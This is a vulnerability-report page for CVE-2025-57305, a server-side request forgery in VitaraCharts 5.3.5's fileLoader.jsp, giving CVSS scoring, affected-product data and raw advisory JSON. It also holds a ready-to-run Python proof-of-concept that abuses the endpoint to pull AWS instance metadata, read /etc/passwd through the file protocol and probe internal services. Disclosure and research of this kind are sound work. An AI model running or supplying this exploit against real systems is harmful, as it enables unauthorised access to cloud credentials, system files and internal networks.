Security Vulnerability Report
中文
CVE-2025-57305 CVSS 6.5 MEDIUM

CVE-2025-57305

Published: 2025-10-02 16:15:35
Last Modified: 2025-10-16 15:41:38

Description

VitaraCharts 5.3.5 is vulnerable to Server-Side Request Forgery in fileLoader.jsp.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vitaracharts:vitaracharts:5.3.5:*:*:*:*:*:*:* - VULNERABLE
VitaraCharts 5.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-57305 - VitaraCharts SSRF PoC # Vulnerability: Server-Side Request Forgery in fileLoader.jsp # Affected: VitaraCharts 5.3.5 import requests TARGET_URL = "http://target-host:port/vitara/fileLoader.jsp" def exploit_ssrf(target, payload_url): """ Exploit SSRF vulnerability in VitaraCharts fileLoader.jsp The fileLoader.jsp endpoint accepts a URL parameter and fetches the resource without proper validation, allowing SSRF attacks. """ params = { "file": payload_url } headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*" } try: response = requests.get(target, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") print(f"[+] Response Body:\n{response.text[:2000]}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example 1: Read cloud metadata (AWS) print("[*] Attempting to read AWS metadata...") exploit_ssrf(TARGET_URL, "http://169.254.169.254/latest/meta-data/") # Example 2: Read local files via file protocol print("\n[*] Attempting to read local /etc/passwd...") exploit_ssrf(TARGET_URL, "file:///etc/passwd") # Example 3: Internal network scan print("\n[*] Attempting to probe internal service...") exploit_ssrf(TARGET_URL, "http://127.0.0.1:8080/")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57305", "sourceIdentifier": "[email protected]", "published": "2025-10-02T16:15:35.350", "lastModified": "2025-10-16T15:41:38.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "VitaraCharts 5.3.5 is vulnerable to Server-Side Request Forgery in fileLoader.jsp."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vitaracharts:vitaracharts:5.3.5:*:*:*:*:*:*:*", "matchCriteriaId": "E8E1DC7A-5C09-4C36-8206-3C6B2147B069"}]}]}], "references": [{"url": "http://vitaracharts.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.mattz.io/posts/cve-2025-57305/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}